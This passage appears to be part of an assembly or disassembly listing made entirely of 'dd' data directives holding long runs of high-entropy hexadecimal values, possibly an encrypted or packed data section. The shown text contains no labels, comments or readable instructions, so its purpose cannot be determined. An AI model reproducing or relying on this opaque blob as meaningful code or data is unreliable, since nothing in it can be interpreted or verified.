0C9480685h, 8B748600h, 6341CD05h dd 69C40370h, 51A2CF40h, 28AC9B0h, 0C366500h, 0D8B14C9Eh dd 6E675ACh, 0CFFE22F5h, 2800180Fh, 55C196C8h, 1D928457h dd 8CF94Eh, 9D6D72B0h, 600617Eh, 710C17A8h, 0F6232h, 19C978C6h dd 0E8F97623h, 0FCCD3Bh, 7210DEDDh, 0F79B44h, 0EF910BD6h dd 6EECBEC6h, 31CDE000h, 0CF873B74h, 0D880F747h, 38F6E2B2h dd 650CC962h, 681B7006h, 28DF0093h, 0AE49113Bh, 903AFDA7h dd 5F0D00DBh, 0C11E3FC4h, 89F0C0Eh, 0E109594Ch, 44A421C0h dd 0C8551Eh, 772AC378h, 59ACE4F9h, 0DF8F2001h, 4B22D823h dd 918E5888h, 99CD0463h, 0D919570Eh, 999B0093h, 770C0F1Eh dd 0E4E02019h, 0F73F6DA7h, 0E7B940B7h, 4B1D3817h, 77304731h dd 2808B064h, 0C0D3AA8Dh, 0C63F19B4h, 0DEFA80F9h, 0DA40EF18h dd 0E849E481h, 0DF1C181Eh, 9B47105Eh, 0F999C00h, 12D86D38h dd 0F7537460h, 51583187h, 0CC39309Ah, 0D4ECD3FBh, 0C5248400h dd 0C9A5959Dh, 6DB70DBFh, 0A8681D1Eh, 30886560h, 0A5118397h dd 0CD84980Fh, 0FDAC000Ch, 3039783h, 8E8DB592h, 49234E45h dd 8396032Fh, 40440FBEh, 67888824h, 9B830094h, 0F145AECEh dd 7600034Eh, 0DAF5DDDFh, 0A81D1873h, 1ED7BAC8h, 23EA92h dd 0BDF1D3F3h, 671F4E1Ah, 74CEB196h, 6F5F00F0h, 0D3681Bh dd 0A59B8041h, 2B897FA1h, 26CC7B00h, 66531E65h, 97300745h dd 609E78C9h, 0E3D309EFh, 0CB73EB00h, 0A050ABC7h, 513429B0h dd 0BF785504h, 46BD0068h, 587B198Fh, 791E2027h, 0A540B16Ch dd 0F4624C49h, 4EF51E50h, 63220FBDh, 64804A0Eh, 0FDD04625h dd 0F56CBC00h, 37807C99h, 97F301FAh, 4B8789E2h, 0D070C920h dd 4F3F27F4h, 75FE8094h, 0BD47DEAAh, 0A69003BFh, 4BD0812Bh dd 0F8888EC0h, 0FD45CF00h, 8CA06947h, 9050029h, 0B81B64B7h dd 4A1C2CB0h, 0A140AA42h, 4B9132CAh, 607A0781h, 0B07E5E11h dd 2C63F2D4h, 0AC2F8218h, 88311628h, 9D89621Dh, 620A108h dd 28E25093h, 0E9674418h, 0A044E744h, 40DD6E14h, 0B7203090h dd 18E54210h, 0DA79EFBAh, 8429C6DFh, 71225151h, 0F9DD32E8h dd 8E10E629h, 0CE2D886Eh, 88F89A88h, 0A1C43072h, 0F9446F3Fh dd 33C046D2h, 78BE5029h, 0B55344EBh, 0E3E1CD45h, 114229B9h dd 41116690h, 0FB4473D3h, 3E8CA8F6h, 8AF40011h, 830E3D15h dd 583BC804h, 0F63A3BC6h, 0AB19D007h, 0A680257Ah, 0F06F44Dh dd 30B3F9Ch, 7304060h, 10C0497Dh, 423477A4h, 0FBDE00CCh dd 2C6950E9h, 0F4002167h, 9D20AA32h, 788EC766h, 0B65001Fh dd 5612E71Dh, 0F008F7Bh, 19A937AFh, 0CEA8C3h, 49FF9D9Fh dd 0C867A505h, 733B3500h, 0C74BEFC4h, 0AB301B0h, 3A816E75h dd 3424201Dh, 151CE900h, 9F62FB03h, 0E5A73D09h, 7F274480h dd 200F0B92h, 61779400h, 0D0CDA94Bh, 9A7A0054h, 0A3AFB0CFh dd 5C00A2ACh, 1CD795AAh, 0D346Bh, 270A82E0h, 54587019h dd 6E457900h, 8B3C7441h, 0B31E1F10h, 0E932408Eh, 2BF2B078h dd 0D2C40500h, 39FBE177h, 0FE4E00A1h, 0BDC21A07h, 2112F418h dd 0D803A81Dh, 0C0904A77h, 48FBE225h, 8C40BD88h, 0E1160081h dd 5E62CA0Eh, 501AE92h, 8F1FAA9h, 0E6C4D986h, 304C0090h dd 54DB7C1Ah, 7160F6A8h, 0D9FFCCF4h, 145D00DDh, 5E7511C1h dd 2918DCCBh, 0C2502349h, 98FC0E4Fh, 4545715Dh, 0BAC561h dd 5E605F7Eh, 9E006D90h, 867CC527h, 77C7D297h, 0A78F00D6h dd 0AE8EBFB9h, 0E2003C38h, 6AF8C4B5h, 0A0F263h, 3D206CDBh dd 0D5EFEC9Bh, 96AD9D00h, 363F9A25h, 0A92201C1h, 612D03DDh dd 318FD084h, 0FA0069B0h, 0A22AB650h, 775CC79Eh, 697C0E25h dd 866097B0h, 0BBA681FBh, 0B90FD37Fh, 0C0830C0Dh, 6844FFFEh dd 9D45007Eh, 0D4A0ECEEh, 0B5FAE98Ah, 9066F31Eh, 2320DF87h dd 2FED1AF1h, 409E6C4h, 8C1C100Fh, 4D9CC368h, 0D0ACD791h dd 0E095D6B5h, 0EE44CF38h, 66E900B8h, 7CE7AB1Fh, 0E60E8549h dd 80FDC0C7h, 0E8BBEDF5h, 0D575DEh, 0A2E1D625h, 41AE7B8Eh dd 6B711E00h, 60756350h, 0B1813AF5h, 245CD830h, 1200C41Dh dd 39626A37h, 1D4FCFEh, 0C75610B1h, 205D1C7Dh, 4E12786Ah dd 5C1F95E4h, 243D44C4h, 4400B285h, 42AE8008h, 16BDE416h dd 407FA366h, 0D865F500h, 5A00C11Dh, 46DDDAF2h, 0A38CB591h dd 11DFC88Eh, 4C64829h, 8C510B1Eh, 6628F492h, 43391200h dd 0D116353Fh, 0C8EF2E17h, 0F46B00D1h, 156CAB92h, 56724F1Ch dd 87200647h, 40883902h, 134A1E48h, 9E50857h, 0B00487Ch dd 0C7EBDA09h, 731A95A0h, 5BE39500h, 3F4B4E6Bh, 9BE2008Bh dd 0C1926345h, 821DA336h, 0D600C042h, 205DAE85h, 6B05007Bh dd 63AB45F7h, 753DD262h, 0A7A7640h, 14F08A1Fh, 236504C1h dd 0BECC5871h, 8EC90042h, 0E09C87D6h, 62007EEBh, 0E874EFDCh dd 72D7CBDh, 0D86F79B3h, 0BB0620B1h, 5F600255h, 91044AA2h dd 0E58800D1h, 1F1F4CCh, 0CA00DF60h, 0ADA8A3Ch, 703F0989h dd 2F7C00E1h, 0CD349158h, 0A2161B6Ah, 77001213h, 0CAD76706h dd 0E5210309h, 0D2B90436h, 0F44358A0h, 4E00557Ah, 6829668Ah dd 9F850FEh, 98C9F15Fh, 0A3EAAF00h, 0DA0408BEh, 0CC1AB057h dd 9A384FC0h, 0FD9C00ADh, 0E60B779Dh, 68007F43h, 543CB1FCh dd 280D3FA9h, 0E45E70h, 915D5F45h, 0F5963D4h, 6D35C600h dd 0D01BF502h, 7EF00D6h, 38B5586Bh, 0FB7369DCh, 4851F600h dd 0A3769881h, 73DA00D7h, 4A455494h, 0D300DE4Ch, 5D63B056h dd 9C75B18h, 1C7966BFh, 524B3C21h, 8CA82086h, 5A007672h dd 7CA9269Ch, 0F5AFE6h, 0D5EE791Fh, 57921549h, 7BABD600h dd 0D9E0774Bh, 0FD9D00A3h, 0AAEFB188h, 7E07E26Dh, 4C412A24h dd 9A74A4F0h, 6E90FFh, 61B826A3h, 0C5771CDFh, 0AE3D7EF4h dd 440D0066h, 4908A715h, 48AD00CCh, 0E5CC856h, 0EF1824F0h dd 25A05E69h, 0FBFF0003h, 84FE1026h, 9A0220h, 0AE1091EEh dd 2101B2B7h, 988FCE2Bh, 0C5FDD002h, 0C6900300h, 0DB8DB6EDh dd 969F02E6h, 25E9A662h, 2BB8F840h, 0F45249h, 0D9EDF15Bh dd 50CB5DAFh, 4EC0C7h, 6601809h, 19341E76h, 302D4A03h dd 84EBDBF2h, 0B14094C7h, 0F02FBDDh, 0E60C5284h, 20ADF6A0h dd 3E07972Fh, 869C1DF3h, 36B6E850h, 47F70003h, 0B949254Bh dd 4800F292h, 0B83C0AD9h, 0CA0677h, 21B276A8h, 94AF96D3h dd 32BF560Eh, 0C560A09Bh, 8124E5h, 66E49D02h, 27E3C349h dd 0EDFCE800h, 4B1B31A0h, 3E980075h, 0F7D8C265h, 9000B6A9h dd 815D413Ch, 0D7DF10h, 38C8155Bh, 0FA6CA10Ch, 4DB82B16h dd 0FF934F02h, 0F9F78055h, 37CDB5Bh, 0BD440B56h, 48A03D4Eh dd 6700B795h, 0DFF373E1h, 0B144D49h, 195C0113h, 68DDEC00h dd 0B9E8A727h, 0D6A0261Eh, 2BF1F00h, 0B47529h, 4A63DB2Fh dd 1577C9D9h, 76659300h, 0B027780Bh, 23A10E2Eh, 0D440E3B1h dd 356080DEh, 0F3E0D09Ah, 0D8629A28h, 54D97000h, 42796546h dd 0F76058E0h dd 8FDEA00Eh, 7F34F3E0h, 0C501F191h, 0D7CA988Dh, 0DBE080F6h dd 3E583C5Fh, 9E743D0Fh, 0FA7700BEh, 0FBB38762h, 0B2833507h dd 0FDE006EEh, 1040F15h, 0D4EFCF4Bh, 70B72A1Fh, 0F3017A00h dd 0F1BBE9DAh, 91FBEB6Ch, 5020AF87h, 0D3D90490h, 873A76A2h dd 0BA3920DDh, 24001D59h, 4D674029h, 0A3D592h, 0D402F4B7h dd 53A9DC98h, 0AC6BDA04h, 55C0D1A0h, 0ECED5C2Dh, 0D9F10071h dd 0C8635408h, 0BB00B946h, 196DBCADh, 1EFD0B3Ah, 6CC3B4F0h dd 0E78100E4h, 7F69B2D7h, 1900257Ch, 73D80756h, 505D6F4Fh dd 0EB86Ah, 62A50339h, 0D3C4572Bh, 9C45DE00h, 0E56121F2h dd 0DF390077h, 0FC7218D8h, 0E300867Bh, 17335894h, 483DE7CAh dd 4C0CCF1h, 6030B4C2h, 8C0A17F0h, 0C8B82F43h, 56B21683h dd 4959A109h, 0C07057D1h, 1B2D1F42h, 9E121D83h, 2207FC30h dd 0E0A23680h, 6A58726Fh, 0B36DE71Ch, 5C70E684h, 8E695FC0h dd 0C8D750FEh, 22B8057Ch, 80A1FA0Eh, 0BA1BFF88h, 4F5E6C05h dd 0CCC05292h, 3F964CDBh, 0CF80AB24h, 0E97F9B7Dh, 3C00CD0Ch dd 49F566A5h, 0FEE7B392h, 0A4770072h, 2A6F7EDAh, 5000B9F2h dd 524F79F5h, 546441h, 0B3512D4Bh, 1D615690h, 0A7588F00h dd 400D7E43h, 2419004Ch, 7213F40Eh, 280652A2h, 11550F3Bh dd 2A7C0010h, 0DEECD564h, 171C71FBh, 0B8800534h, 9B41D830h dd 0F4D71FEh, 28662970h, 77C0440Eh, 0B0169809h, 1B5BAC2Eh dd 0CE256D00h, 10CC868h, 0A3AA54BFh, 405CE08Eh, 600D5EB8h dd 0EC5D7100h, 0B467015h, 554A0058h, 5B350975h, 0BE0740DDh dd 1FF4B856h, 7BFBDAD0h, 0EA02004Dh, 3105E075h, 84E08178h dd 9F65108h, 0AA5E319Dh, 0A58024B6h, 27748300h, 0FB820175h dd 35D00407h, 0F08DBF59h, 0F1030674h, 4BCE91Ch, 237BB039h dd 613400ABh, 17AAAE8Bh, 10003564h, 6AD463E7h, 3B5F2AECh dd 0A61F1957h, 1D13D36Bh, 0C85628h, 0E769EBA4h, 155AAB0Dh dd 8A0FDF00h, 1EC7419Ah, 0C245977Eh, 36245486h, 574BC40h dd 0A1902D72h, 484D38h, 43BA6ECh, 26ABEEh, 1915F8C4h, 0F0985D79h dd 270330B8h, 0A2D24091h, 970FE0ABh, 83AF04E5h, 82FCE415h dd 69603CD4h, 0F300BF85h, 0A58D6DE8h, 0C9781Fh, 558EF699h dd 7B18219Ah, 3A0048EAh, 1DF824A4h, 6305375h, 919E68A2h dd 0E000201Ah, 0FF33E111h, 3B08FE64h, 0F08005B1h, 8A24B473h dd 4C0078BDh, 21A0B67Ch, 38E4A8D5h, 12005657h, 0AD7A470Fh dd 7D00989Ah, 55A93607h, 282D9F4Ch, 0C6F9A3h, 0A8049EE3h dd 0AAFE7E5Eh, 802ACCA0h, 9C05864Bh, 7480282Ch, 319C57h dd 67E6C8DEh, 0A23DC497h, 0B7F10500h, 39A4E408h, 87E89971h dd 4FB3CDAEh, 0C4C8C37Ch, 76C03685h, 0AF0089DCh, 5DEEC14Fh dd 0FBF8F7h, 0CA1DA2E4h, 2E98F01h, 0BEF32A0Bh, 0A442807Ch dd 82CF91h, 8E76276Bh, 0BF95C471h, 0C8C5B70Fh, 0E1CF5FF7h dd 0EE1B8777h, 0EF7D6B70h, 2A5F0081h, 0E7E4D64Ah, 2C723C6Fh dd 9306B976h, 29D1BE4Eh, 1AB7010h, 0B29DF3D7h, 0D444CAD4h dd 0D93F4F8Eh, 2C8500EFh, 0E676D5E3h, 91C00B7h, 0CC012452h dd 420105DAh, 0F87327DCh, 17309764h, 0F0DB2E2Ah, 6570068h dd 0B636D06Ah, 2F00B770h, 0CF3439C2h, 482D0785h, 0B000956Eh dd 0B87D4EE7h, 0BD0046DFh, 81F562DAh, 0F24F6E6Fh, 47673C49h dd 0A64EF800h, 7FD9AC1h, 174C761Fh, 2DB72400h, 0A338F3h dd 3D73EDCAh, 60EB8320h, 47024B72h, 8169E251h, 53E8E81Ah dd 0C486009Eh, 0C2FF41FDh, 600D9F9h, 88F3D0D6h, 0F84C62F2h dd 653A0044h, 5B82B148h, 0F600FEA5h, 0FCA0E757h, 1F622F5Ch dd 40308510h, 0A6EB5F20h, 0BB037D63h, 0ADDBA7F3h, 0F60288E2h dd 6DB60327h, 0B1FA11C0h, 0BA0BB5C0h, 94C66618h, 813291h dd 318A3CCBh, 547E3D0Ah, 6B537213h, 21A4CC0Eh, 62AB8126h dd 8F8B1080h, 6BAD139Ch, 5BC2390Ch, 6CF1866h, 54404D6Dh dd 0B6005891h, 5BF23E7h, 6FA7A4h, 0C48D04E8h, 5BC03D4Ch dd 28C092F4h, 0AD0AE3ABh, 0A1FC0030h, 3FA95A6Ah, 6C0047C3h dd 0C89D10F4h, 1DD55DD7h, 0EEDEFF5h, 0DB40B635h, 5F3715DDh dd 7AD1E63Bh, 0B0D33100h, 7C128EB7h, 1DA19826h, 0BC9A4E9h dd 0A0009983h, 2FA20ECCh, 0C45F4900h, 9C964FDDh, 0FCBBB0E6h dd 0BB3C0286h, 13EE0F33h, 0A2072478h, 791D14E1h, 839411F1h dd 7F99FCh, 0BC406D7h, 8A5E6119h, 80D47907h, 0E301F411h dd 189FBEBAh, 20844089h, 265F8FA2h, 591BC100h, 0BC962B02h dd 2A060051h, 60E45862h, 6E1C7273h, 0B300F8EEh, 0A191461Ah dd 0C8621698h, 1444C064h, 1F002822h, 88A349EEh, 0F4AB96h dd 59CC4FD7h, 0DDD58A25h, 0E003E8FEh, 0CE854CE5h, 0D7F88052h dd 8121CCDh, 0D6B2065Bh, 472050BAh, 4E53F223h, 7EA4401Eh dd 0ECB86C3Ah, 94EAB178h, 0BFAD9616h, 0E4000C5Ch, 3ADD400Ah dd 9F7C0125h, 85635BAh, 47A824F0h, 50370A00h, 90DDA967h dd 9E38C0F6h, 3F052F6Bh, 9A466200h, 4E07FD0h, 44924Eh dd 0EBD98378h, 1F038DB3h, 5E0064B4h, 0F66869DAh, 12727DA7h dd 730EA96h, 0D0FAC954h, 0B149E760h, 838FB600h, 9C0EED42h dd 0DE350FC1h, 3A6E973Bh, 44C3A960h, 0D85C5727h, 91860714h dd 1420477Eh, 1E947B76h, 7AD53D04h, 402A3E80h, 4FF86183h dd 0D6E5BE00h, 66A2188Bh, 0EAD200ADh, 0C69F633Ch, 0C00FEAAh dd 0F2424145h, 0C866057h, 26C00527h, 13BE429h, 61AD8151h dd 7F10C590h, 14099030h, 8C185599h, 1196516h, 0AC9BF76Ah dd 213EE0EAh, 82AA4800h, 84CC70B9h, 9060BF1Bh, 7101259Ah dd 0F776D07Dh, 0E8605FCEh, 0B8691493h, 4600FB2Fh, 3B2AB64Eh dd 0DE263F59h, 11800E77h, 1E0D07E9h, 0D4701EE4h, 97B5407Bh dd 0A8DAC109h, 3CE91500h, 0E012C476h, 374C7545h, 0C0B85BA4h dd 0C0B4AF82h, 0F43C6273h, 0E6B08072h, 79261EA0h, 0C6600A8h dd 0E22ADDFBh, 77B07258h, 0B3435E1Ch, 0CE7FA143h, 0AC600019h dd 80A9D9B6h, 10968D2Ch, 0A4F37B0Ch, 0C27F1C60h, 7EDF9Eh dd 0E036A715h, 8798AA33h, 505C1131h, 81F40399h, 0E80103B1h dd 8E1FA098h, 0E3F00E7h, 0BE3FD1CDh, 3A1758DEh, 2E00F2EFh dd 0C74B2F79h, 28D21170h, 0EC19EEh, 49BD5945h, 0ACA7A9Bh dd 0DF13D309h, 251C601Eh, 1FEB00C3h, 8028F50Bh, 6D16A123h dd 8E0091DBh, 0B72A255Dh, 0B4DA00AFh, 84B03059h, 0BA1DBC31h dd 684051D1h, 8CEDC28Ah, 73C57B79h, 90524950h, 1CEE7400h dd 7303A7D6h, 2DE2F300h, 80F56D45h, 0A5FB0192h, 3FE1D7F1h dd 546C03h, 8D0EE310h, 93F489h, 0A645574Dh, 0DDDAF374h dd 94248578h, 0B580B40Eh, 44D135B0h, 43B0907Ah, 0A2CB1DA3h dd 3E1F6D87h, 0DFA80088h, 18BDFC85h, 1305504h, 0DC98637Dh dd 0F01300B8h, 0C48B3F0Bh, 0FC025DA8h, 0F51B8545h, 0E047C391h dd 103D8CEh, 0E2724FFBh, 0F86ED214h, 9400A7FAh, 9C89A181h dd 3DB65ECFh, 4B3A3B8Bh, 9DB04387h, 27DC0B9h, 0FD16D142h dd 3C406C2Eh, 0DD309479h, 1059006h, 46CA1705h, 0C49F9E4Ah dd 7207E76Fh, 0BF18ABC1h, 57637830h, 0C425828h, 8C9ACA02h dd 0D4C8FACFh, 0A80E3F2Dh, 0DCF42884h, 49420D03h, 8FC8006Ch dd 9A92993Ch, 0A3BFAD7h, 515D80A0h, 24AA4068h, 0A7252E2Ah dd 0CCBE05C8h, 9BC84074h, 6C974A6Ah, 2BE26300h, 30B60F4h dd 417600F1h, 242AF28h, 0B200E98Ah, 0B0E11B13h, 3836B4DBh dd 0B10BAC75h dd 0D100405Fh, 51F61E29h, 210A2500h, 6059A4B6h, 4D0607A5h dd 2093AC05h, 0D27BB75Ch, 80667F3Ah, 44AB819h, 1B9CB8Fh dd 7EC9A64Fh, 0E0CE9F7Bh, 9170BE77h, 9607C7F6h, 0CCB5BFB2h dd 85A8BCD0h, 1EAA00C3h, 406D012Ch, 9A00FCF6h, 42C1FAE5h dd 8F2886h, 0DA1DFBE0h, 121697AFh, 803F47Ah, 83092A80h dd 0D2B080F3h, 2B40002Eh, 653C68C8h, 51F2B9BDh, 4C0360FAh dd 9E05C1C7h, 0EDB6D837h, 4DF700CDh, 55CCCBAEh, 8800856Eh dd 59C7167Ah, 3EA32369h, 0EBBAF2C4h, 0EC67216h, 0EC401A20h dd 15C0DF99h, 6EBD7900h, 96A52DA9h, 28B1005Ah, 0DC1FAD6Ah dd 0ABFA68B4h, 0B8F64B00h, 4F8EB95h, 596F0063h, 40CE1341h dd 7907B67Dh, 1C8AF41Bh, 0C507D550h, 0BEBC0765h, 418EE0h dd 5444B63Ah, 0EF23810Eh, 0D8778053h, 7DD9E37h, 0D3DAF4BDh dd 6D0BD045h, 4E00D9EDh, 1E839AA6h, 7516F8h, 0E966CE64h dd 5BE62B5Ah, 0ACD2C601h, 96BE0723h, 0E3AAAC0h, 41127391h dd 866F5AA0h, 9BFCE7ABh, 0A52182C7h, 0F75DED00h, 9DE0260Fh dd 720009Eh, 1C23B6D5h, 0DBF4BA7Bh, 0EAC9BE03h, 0B03FE547h dd 26F3D8h, 7D83198Ch, 0A9E8891Ch, 63755E1Bh, 0DE74F1h dd 0E556EA59h, 0A2395360h, 2FE26102h, 8EF5B596h, 0C2E9849Ch dd 604225C2h, 1C5A73CAh, 56557530h, 814000C7h, 0C1D91734h dd 0F074CA30h, 43F332FEh, 87623994h, 175D0E66h, 0E4C8C5F0h dd 0DFD702F0h, 59425558h, 465380A0h, 0D824D9ABh, 0E307848Dh dd 44E0A752h, 1E48E686h, 0C1DEEE4Fh, 2274810Bh, 0C4E5EC6Fh dd 0F4E77701h, 14501B01h, 21C9CCh, 4E555CC8h, 2A571DE6h dd 0CD3FF4F2h, 978380D2h, 7C5DE58Ah, 4E8800BFh, 42FA3307h dd 190F1C8Bh, 23F78E14h, 0C02741FCh, 1C893F4Ch, 80D0113Ah dd 0FF16E4F6h, 6100F9E0h, 0D5E27041h, 1E3B6D1Bh, 0CF216439h dd 5F273566h, 0C01474B1h, 84EF96FAh, 0C76E1700h, 66F7876Fh dd 1F4C7997h, 7B01B736h, 150B6658h, 93FC8144h, 0F8865700h dd 0FA4CB76h, 9342729Dh, 2E8A45CFh, 123147C4h, 0C890BAC3h dd 6F00808Bh, 0B2EE6ABBh, 1F9C97h, 9399FB96h, 3CCD9A7Dh dd 0FF7E3Ch, 0A60D1115h, 791AA0Bh, 21BD090h, 0F2E1001Ch dd 88A0713Eh, 0A0E89237h, 70D6CA0Eh, 82E7A764h, 5E14E47h dd 6E60662Dh, 40770004h, 36299A6Bh, 130485DAh, 66A579B7h dd 0BB61BBC0h, 1CC7001Dh, 0FC164547h, 9E1DB1DDh, 0E7C02997h dd 0D903824Fh, 8F1C0788h, 1E5BE56Bh, 4C5AB281h, 3363E060h dd 8501A0E2h, 9F4A19E8h, 0A6306F56h, 0E2A53AC9h, 0A0CCB700h dd 98936084h, 78858930h, 0E0C82A22h, 1DFD040Fh, 0D026107Ah dd 45253A60h, 0A2FA10Ch, 3BC82Ch, 39BA7B1Eh, 68880662h dd 8D00C57Bh, 0F5FF779h, 3D3A0342h, 64002D18h, 46F2C206h dd 970087FAh, 3E51AEDAh, 7B89C8h, 8D26F7A0h, 0D72FD34Dh dd 0B337B4C0h, 0A4C35BDh, 27F47348h, 92CA009Dh, 0C1E3DC79h dd 9E117D03h, 0E0B63DC6h, 1DE161B5h, 0FD69DC8h, 1100A584h dd 42608B62h, 0DBA8B007h, 4F206487h, 156B12h, 79B58AC3h dd 39FFF621h, 90CC6002h, 0E0B3FEE9h, 0F42EC5Fh, 0D74C6BF3h dd 120FEF60h, 0BD00C6F2h, 0A6AC1557h, 2420D5E4h, 10362Dh dd 0E9C5FA9Fh, 927E4F45h, 180E5000h, 0E2D80B98h, 0C9C00081h dd 9785C7BCh, 149807ABh, 29005F7Ah, 0B4B6FA5Dh, 0A403E9h dd 0A6F9EFADh, 0FEA7E1DCh, 4952D900h, 4CB4D7A1h, 0BBD500ABh dd 101EA851h, 0EF00A79Ch, 0CD38E3FFh, 962106h, 0B81FC2C8h dd 0B0EC63BCh, 0A119F300h, 17CD10DAh, 0AC850348h, 0F00657B6h dd 76AB608Fh, 0D4055E7Eh, 0CF5B0FE5h, 4C508D80h, 427289h dd 670DB0EEh, 0E51BD1Ah, 473FC200h, 998B8A8Dh, 0D9211FD8h dd 0D340C0DDh, 5AEA139h, 78000FF4h, 0EC83F88Bh, 0ED1FCDh dd 0D457489Bh, 561524E2h, 4AA0D90Fh, 4E9E4062h, 3E72DCFFh dd 0FE0097DBh, 3AD6EBA3h, 20399F9Ch, 8D9281D3h, 0FCD9618h dd 10868CCh, 7DE0034Eh, 0C0B8D0F8h, 0C700C367h, 23BEE42Fh dd 7D7157FEh, 0A5A30035h, 0E60A3933h, 0C0A0FBFCh, 7F3A31EBh dd 0EA340044h, 86E13A1Dh, 0FF3F0055h, 0D136AE70h, 0F400A06Eh dd 92759A38h, 797799E2h, 7A97008Ch, 0AE0E98Dh, 0B104E6DAh dd 0DB7D1ABDh, 0EA8AD600h, 1E00FF71h, 5D693087h, 1C0D54BBh dd 80F0FDE7h, 84526BF2h, 0A000B6E1h, 0AC3F5D15h, 7DEB11Fh dd 727DC859h, 0EE2D7EDh, 4A33B461h, 30E980D9h, 915088FBh dd 5525009Ch, 0B072ECC6h, 1401D694h, 3EDF4D7Ch, 48D4B966h dd 0F46C079Bh, 13A85F4Ah, 0B590D82Fh, 0F07A513Bh, 95544600h dd 0D3B7AE12h, 80F242Dh, 40411E5Eh, 61586F7Eh, 0E4003003h dd 0B7B1399Eh, 1D2F8528h, 8016D253h, 0CFDFF371h, 9E00625Ch dd 33A201E4h, 542B0F26h, 87B439h, 0DF4A549Bh, 0CE415B80h dd 0EF87E00h, 0C42BBE5h, 0A722002Bh, 938130D9h, 2D00F7F6h dd 20CE092Eh, 0F0CB085Ch, 100F6359h, 94916236h, 0D2B4407Ch dd 33006FEEh, 0D14137F6h, 16A02423h, 3D0476h, 0F77BF195h dd 6E1DD0AEh, 0C500DCBCh, 0ABF19F4h, 4E77B3h, 0FCF0E0C9h dd 9CD35968h, 8055283Bh, 0A1AF3931h, 384E219h, 8236ACD1h dd 4CA35021h, 3C52D0B8h, 4FDD9100h, 0E0F9E275h, 1DB1207h dd 30C009Ah, 0AD68CFCCh, 0E25C4B0Fh, 60417FB3h, 4E963746h dd 0ABDC80DAh, 0F2833A4Dh, 0A0AF0476h, 0C7750B32h, 151DA0FCh dd 58001C20h, 4CA319ABh, 4DC1F0h, 0C9A46F4Eh, 0B3DDE52Ah dd 66947300h, 22D46C76h, 0DAB603BCh, 97B9D920h, 0F108C4C8h dd 500CE7Ah, 77116A90h, 503A1F87h, 4A9838h, 6931C133h dd 0DF21AB74h, 29DA0D00h, 30729379h, 1B4B004Fh, 69F57C28h dd 0B100B8D5h, 80063F6Ah, 5BA784h, 89C2D12Bh, 0BABDCB49h dd 0A421C560h, 78FECAE5h, 0FCD60034h, 3C11A032h, 0BD0002EAh dd 90557FF1h, 46D7DE6h, 0B8A3BBC2h, 98480A5h, 0BD395F3Eh dd 0C1AF1D73h, 1A447583h, 981BD039h, 71030185h, 45B9588h dd 4AD0807Ah, 0BCD146F3h, 0E1150241h, 5D3BF206h, 0C0BFBC41h dd 62E2717Ch, 2D6C10C0h, 3968D61h, 0D537416Ah, 0A1C0356Dh dd 0E0086BEh, 0EA7EAA02h, 9FA408h, 0E9C1520Dh, 7A12604Ah dd 0BFBB1700h, 22B543BCh, 2780047h, 31189B0Fh, 5400AA5Dh dd 5DB8A06h, 3FD13723h, 50805527h, 665F651Ch, 0A43B4917h dd 210270CBh, 0E891D248h, 0C3A068CEh, 2FA900C2h, 5E51EBF4h dd 7E00DBB3h, 8E8D45A2h, 9374F9Ch, 0A9C7E617h, 85BF0780h dd 0CC603FA5h, 0F1DA2A51h, 0FB7E075Bh, 80FE0BB2h, 4216B9DBh dd 7FC0C403h, 80A61E2Fh, 7ADF237Bh, 539B0005h, 0B51203B6h dd 55003A47h, 3E79C246h, 0B801DF0h, 86F1BB6Ch, 9D408A00h dd 7F00D86Dh, 1E30CF89h, 52414Bh, 84BA28DBh, 4FE895FEh dd 0E4CB5A13h, 0EB627C40h, 244408F5h, 255E8Dh, 76588814h dd 5D056AADh, 35EA2A91h, 805F3A82h, 0F8CED1CAh, 20AE62D4h dd 346822E9h, 6200AC09h, 421CC33Dh, 0B3DA94h, 192CFBDEh dd 2D6A8DC1h, 0C740B560h, 1EC064Eh, 0B1943F53h, 801B3823h dd 3D083B91h, 0C817C26h, 4DC9EDF4h, 0FE60C718h, 71DC2C56h dd 0C6A307AAh, 0B0DAE025h, 0A05C276Dh, 6E14B200h, 987AEA69h dd 0C425028Dh, 86A57B87h, 6AB968E3h, 286FD87Fh, 0D89BAA09h dd 780FD11h, 0C7B825E5h, 0DD6E2603h, 0A86133F7h, 0F2D4F0C9h dd 0F1CC00A5h, 0EE580640h dd 0B900EF2Eh, 33FB4590h, 1B81E12h, 0AFE4E96Ah, 20E3A1F5h dd 56003FFCh, 0FFFC22EDh, 741C398h, 5B286E69h, 0BA9E214Eh dd 72386052h, 959AA600h, 0A908CDBBh, 30D203A3h, 6481AC55h dd 7801C3CBh, 0C48AF8E3h, 94504A32h, 71C81A35h, 0CD8E3F1Eh dd 0CF3DF382h, 48906AACh, 2CE02E3Fh, 31AD3618h, 44CD38h dd 9DFDDC7Bh, 0D70AF391h, 0B0E16701h, 0FF57393Ch, 50287082h dd 0B8807FF0h, 8E73970Dh, 0B59E4A05h, 0A0098F68h, 25C4805Bh dd 6DE5A2h, 81E10C0Bh, 0BB75EEC8h, 1E52DC13h, 2A237A00h dd 248A94B5h, 0B8F6B7h, 0FACD0D70h, 7B73035Dh, 5C98EC00h dd 211A41DDh, 2CDB000Eh, 0F43C0164h, 55038FD7h, 4977B09Eh dd 65D5F8A6h, 80980073h, 37484C83h, 0D800AB46h, 0BCD9B46Bh dd 24C99E29h, 1240EAFEh, 84E1A73h, 0A05B0082h, 0D9479048h dd 0B7C5F5Ch, 89537Bh, 0BBD802Ch, 43F70ECBh, 0B3A0E6C6h dd 0E73A7AD8h, 0B9002FE4h, 961D800Ah, 58E1584h, 0B86BF436h dd 0E750C0F3h, 200B4EEh, 19620B29h, 7C4F64h, 2B03F0AAh dd 0CAACF14Ah, 65002FFEh, 0FE96C13Bh, 0B8082241h, 1C9024F1h dd 0BC1E80F0h, 0A9532D36h, 222CF905h, 0FAC0E2AEh, 74AA237h dd 9DB62EB2h, 0AC0E4088h, 711C764Dh, 590399B7h, 0D821503Dh dd 9132E0h, 0F2E996A4h, 9DC52D98h, 6B84BC50h, 0D40CC600h dd 63A8FDE4h, 0CE3700CAh, 904C3478h, 0E812D18Ah, 3440E0FBh dd 65A8ABC6h, 788E3C18h, 958CB780h, 0EAEDCCFBh, 80601239h dd 70DF0DCEh, 3B1025Eh, 0CF36E6D6h, 97E80656h, 9F002A9Eh dd 0A9AED8ACh, 98C3843Bh, 52BC1360h, 64144040h, 0F5314FEAh dd 4A17CF08h, 53CC0035h, 63EC6F08h, 6273D8FDh, 9261CF3Fh dd 5400F25Ch, 14E7DE68h, 76CC7ABBh, 1A82187Ah, 0B1F2E8B8h dd 0D8A0089Ah, 2A5D842Fh, 273E44h, 